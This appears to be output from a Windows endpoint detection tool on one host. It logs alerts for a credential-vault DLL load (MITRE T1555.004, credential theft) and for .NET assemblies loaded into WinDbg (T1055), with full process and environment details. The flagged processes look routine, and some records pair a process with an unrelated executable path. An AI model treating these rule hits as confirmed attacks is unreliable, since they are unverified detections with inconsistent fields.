+ Params: base_address➜ 7ff82b3a0000, checksum➜ 356647, default_address➜ 7ff82b3a0000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11532, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Suspicious Vault client DLL load, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, rule.seq.link: 1762349729146678652, subtechnique.id: T1555.004 + + Pid: 11532 + Ppid: 1232 + Name: backgroundTaskHost.exe + Parent name: svchost.exe + Cmdline: "C:\WINDOWS\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: LOW + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-05T15:08:03+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 10405222 + Pid: 2028 + Tid: 15060 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-05 15:08:02.3287983 +0100 CET + Params: cmdline➜ taskhostw.exe -flow showtoast -checkup recoverability, directory_table_base➜ 16a2c000, domain➜ ARCHRABBIT, exe➜ C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe, exit_status➜ Success, flags➜ , kproc➜ ffffb28947bf1080, name➜ taskhostw.exe, pid➜ 10408, ppid➜ 2028, real_ppid➜ 2028, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-05 15:08:02.3287983 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1762351888487230716, rule.name: Suspicious Vault client DLL load, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 2028 + Ppid: 1028 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 10407593 + Pid: 10408 + Tid: 1212 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 15:08:02.4365814 +0100 CET + Params: base_address➜ 7ff82b3a0000, checksum➜ 356647, default_address➜ 7ff82b3a0000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 10408, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: tactic.id: TA0006, rule.seq.link: 1762351888487230716, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Suspicious Vault client DLL load, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores + + Pid: 10408 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe -flow showtoast -checkup recoverability + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe -flow showtoast -checkup recoverability] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-05T15:11:43+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.Primitives.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 10671970 + Pid: 15908 + Tid: 16740 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 15:11:40.6031998 +0100 CET + Params: base_address➜ 7ff831900000, checksum➜ 96530, default_address➜ 7ff831900000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.Primitives.dll, image_size➜ 69632, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 15908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055 + + Pid: 15908 + Ppid: 7956 + Name: DbgX.Shell.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SRCSRV_SHOW_TF_PROMPT:1 SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T15:11:43+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.Primitives.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 10671970 + Pid: 15908 + Tid: 16740 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 15:11:40.6031998 +0100 CET + Params: base_address➜ 7ff831900000, checksum➜ 96530, default_address➜ 7ff831900000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.ComponentModel.Primitives.dll, image_size➜ 69632, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 15908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 15908 + Ppid: 7956 + Name: DbgX.Shell.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SRCSRV_SHOW_TF_PROMPT:1 SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T15:11:52+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.IO.IsolatedStorage.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 10709915 + Pid: 15908 + Tid: 16740 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 15:11:44.3164161 +0100 CET + Params: base_address➜ 7ff818ae0000, checksum➜ 93110, default_address➜ 7ff818ae0000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.IO.IsolatedStorage.dll, image_size➜ 81920, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 15908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 15908 + Ppid: 7956 + Name: DbgX.Shell.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SRCSRV_SHOW_TF_PROMPT:1 SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T15:11:52+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.IO.IsolatedStorage.dll loaded by unmanaged process C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Event(s): + Seq: 10709915 + Pid: 15908 + Tid: 16740 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-05 15:11:44.3164161 +0100 CET + Params: base_address➜ 7ff818ae0000, checksum➜ 93110, default_address➜ 7ff818ae0000, file_path➜ C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\System.IO.IsolatedStorage.dll, image_size➜ 81920, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 15908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 15908 + Ppid: 7956 + Name: DbgX.Shell.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2510.7001.0_x64__8wekyb3d8bbwe\DbgX.Shell.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SRCSRV_SHOW_TF_PROMPT:1 SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-05T15:16:16+01:00 level=info msg=got signal "interrupt", 